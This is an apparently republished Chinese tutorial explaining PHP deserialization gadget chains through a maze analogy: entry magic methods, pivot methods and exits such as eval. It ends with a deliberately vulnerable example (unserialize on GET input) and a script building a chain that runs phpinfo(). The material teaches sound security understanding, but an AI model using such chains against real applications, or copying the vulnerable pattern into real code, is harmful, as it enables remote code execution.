以迷宫类比PHP反序列化链
2022-6-3 16:6:0 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

参考:

如果以迷宫类比反序列化漏洞,__destruct()__toString()就是入口;__call、同名类、call_user_func_arraycall_user_func为路径;call_user_func_arraycall_user_funceval$a($b,$c)等命令执行与文件写入为出口。

本文完……

本文的目的是给出自己分析反序列化漏洞时的思路,明确目标,知道自己接下来应该去找什么样的方法与函数。

好文章很多,这里就快速过一下

1 成因

  • 反序列化时将String还原成类,当类被销毁时默认会触发__destruct()析构方法

  • 当类被当作String使用时会执行__toString方法

2 利用条件

  • 有一个内容完全可控的反序列化点,例如:unserialize(可控变量)

  • 存在文件上传、文件名完全可控、使用了文件操作函数,例如:file_exists('phar://恶意文件')

    • PHP8Phar中的元信息不再自动进行反序列化了

1 相关知识

  • PHP魔术方法

  • PHP继承

  • 绕过__wakeup

    • 执行unserialize()时,先会调用这个函数

  • phar://反序列化

  • session反序列化

  • 注意private和protected修饰时的%00
    image.png

2 迷宫入口

以PHPGGC(通用反序列化工具链)为例子,多数以__destruct()为入口,__toString()占一部分,其他屈指可数。

__destruct(),类的析构函数,当对象被销毁时会自动调用;这决定了__destruct()就是最好用的反序列化链入口。

  • laravel反序列化漏洞常用入口PendingBroadcast,$events、$event可控

class PendingBroadcast{
    protected $events;
    protected $event;
    public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

__toString(),类被当成字符串时的回应方法

  • 在WordPress的Guzzle、PHPExcel中有运用

__wakeup,执行unserialize()时,先会调用这个函数

3 路径

(1) 前提:

类之间有包含关系

  • 完全自建的代码中很难,但遵循composer规则的框架则比较容易做到

    • 框架中会有自动加载类的代码,可以了解composer加载机制

(2) 看起来对的路

__destruct()在整个web应用中有很多,哪个才是正确的入口呢?

没有直接找出正确入口的方法,但可以减少不必要的尝试。接下来就是要找的路。

形如$this->a->b()$temp = $this->a;$temp->b(),当然a需要可控,()中的参数全部或部分可控,而b有两种情况

  1. b不可控时,可将a定义为有__call的类,此类中不能有b方法

    1. public __call(string $name, array $arguments): mixed,在对象中调用一个不可访问方法时调用

  2. 当b可控时,便可定义a任意类,b为a中的方法

如果只经过一次跳转就接近出口是最好的,如果不行那就借助上面的内容接着跳转,直到接近出口

  • call_user_func(),call_user_func_array()也是个好的跳板,一般在二次或更多次跳转中使用

(3) 控制方向与闯关

__construct(),PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

而这个初始化的内容是可以被控制的,这决定了跳板中$this->a->b()等往哪里跳转,也就是说控制方向;要到达跳板也不会是一帆风顺,中间会经历一些关卡如if(...){return ...}这样的判断,因此便需要在初始化里设置一些参数,让我们通过或绕过这些关卡。

几点注意事项
  • 可控的是类或父类已经定义的变量

    • 注意继承 public,protected,private;

  • 用到父类中的private修饰的变量时别忘了构造时把父类写上。

  • __construct,__destruct()是类中默认存在的

    • 类未定义__construct,在构建链时也可使用

  • 已定义也可被新建“覆盖”,反序列化后调用的并非原类的参数,而是你定义的存入内存的参数

    • 原类$this->hello = "hello";

    • 链中$this->hello = new class();

  • 具体值可以直接定义也可以在__construct中定义
    *

private $data = "phpinfo();";
function __construct() {
    $this->data = "phpinfo();";
}

4 出口

  • call_user_func(),call_user_func_array()

    • 这两个函数参数可控时可执行命令

  • 形如$a($b,$c),$a、$b可控,可执行system('id',$c)

  • eval($a)

  • 其他可执行命令或写入文件的函数

1 例子

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal(); 
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "hello";
    }
}
class evil {
    private $data;		
    function action() {
        eval($this->data);
    }
}
unserialize($_GET['d']);

2 分析

  1. 入口

    1. __destruct()

  2. 路径:

function __destruct() {
    $this->ClassObj->action();
}
$this->ClassObj = new normal();
  1. 方向控制__construct$this->ClassObj可控

    1. 跳板$this->ClassObj->action();

  2. 出口eval($this->data);

class evil {
    private $data;		
    function action() {
        eval($this->data);
    }
}

3 构造

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();	//方向转到evil
    }
}
class evil {
    private $data = "phpinfo();";	//控制$data值
}
echo urlencode(serialize(new lemon()));	//urlencode防止乱码,主要是private和protected序列化的%00
echo "\n\r";

下篇可能结合thinkphp6.09的反序列化漏洞来分析具体怎么操作,如果想写的话。
其实也没什么,也就是代码多点、链长点、有个命名空间。


文章来源: https://www.freebuf.com/articles/web/335226.html
如有侵权请联系:admin#unsafe.sh